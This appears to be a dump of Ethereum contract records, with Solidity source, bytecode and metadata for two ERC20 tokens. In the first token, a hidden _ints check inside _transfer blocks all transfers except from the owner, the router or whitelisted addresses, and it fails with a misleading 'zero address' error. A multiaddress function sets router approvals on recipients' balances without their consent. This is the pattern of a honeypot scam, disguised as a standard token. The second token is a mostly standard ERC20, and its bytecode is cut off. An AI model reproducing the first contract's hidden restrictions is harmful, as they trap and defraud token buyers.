function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122097f2c05288633456931f7a78e0287de91b3768294eb2e123a12b9d4909e857ce64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,076 |
0xb9f1cf5a96fca6c9da83a8d54264f1ac9e79546a
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BiexbiExchange is ERC20 {
constructor() ERC20("Biexbi Exchange", "BXB") {
_mint(msg.sender, 75000000 * 18 ** decimals());
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c3919061100a565b60405180910390f35b6100e660048036038101906100e19190610c83565b610308565b6040516100f39190610fef565b60405180910390f35b610104610326565b604051610111919061110c565b60405180910390f35b610134600480360381019061012f9190610c34565b610330565b6040516101419190610fef565b60405180910390f35b610152610428565b60405161015f9190611127565b60405180910390f35b610182600480360381019061017d9190610c83565b610431565b60405161018f9190610fef565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf919061110c565b60405180910390f35b6101d0610525565b6040516101dd919061100a565b60405180910390f35b61020060048036038101906101fb9190610c83565b6105b7565b60405161020d9190610fef565b60405180910390f35b610230600480360381019061022b9190610c83565b6106a2565b60405161023d9190610fef565b60405180910390f35b610260600480360381019061025b9190610bf8565b6106c0565b60405161026d919061110c565b60405180910390f35b6060600380546102859061123c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061123c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061108c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061115e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061123c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061123c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110ec565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061104c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d919061110c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610981906110ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061102c565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061106c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061115e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b82919061110c565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb4816112dd565b92915050565b600081359050610bc9816112f4565b92915050565b600060208284031215610be157600080fd5b6000610bef84828501610ba5565b91505092915050565b60008060408385031215610c0b57600080fd5b6000610c1985828601610ba5565b9250506020610c2a85828601610ba5565b9150509250929050565b600080600060608486031215610c4957600080fd5b6000610c5786828701610ba5565b9350506020610c6886828701610ba5565b9250506040610c7986828701610bba565b9150509250925092565b60008060408385031215610c9657600080fd5b6000610ca485828601610ba5565b9250506020610cb585828601610bba565b9150509250929050565b610cc8816111c6565b82525050565b6000610cd982611142565b610ce3818561114d565b9350610cf3818560208601611209565b610cfc816112cc565b840191505092915050565b6000610d1460238361114d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d7a60228361114d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610de060268361114d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e4660288361114d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eac60258361114d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1260248361114d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f7860258361114d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fda816111f2565b82525050565b610fe9816111fc565b82525050565b60006020820190506110046000830184610cbf565b92915050565b600060208201905081810360008301526110248184610cce565b905092915050565b6000602082019050818103600083015261104581610d07565b9050919050565b6000602082019050818103600083015261106581610d6d565b9050919050565b6000602082019050818103600083015261108581610dd3565b9050919050565b600060208201905081810360008301526110a581610e39565b9050919050565b600060208201905081810360008301526110c581610e9f565b9050919050565b600060208201905081810360008301526110e581610f05565b9050919050565b6000602082019050818103600083015261110581610f6b565b9050919050565b60006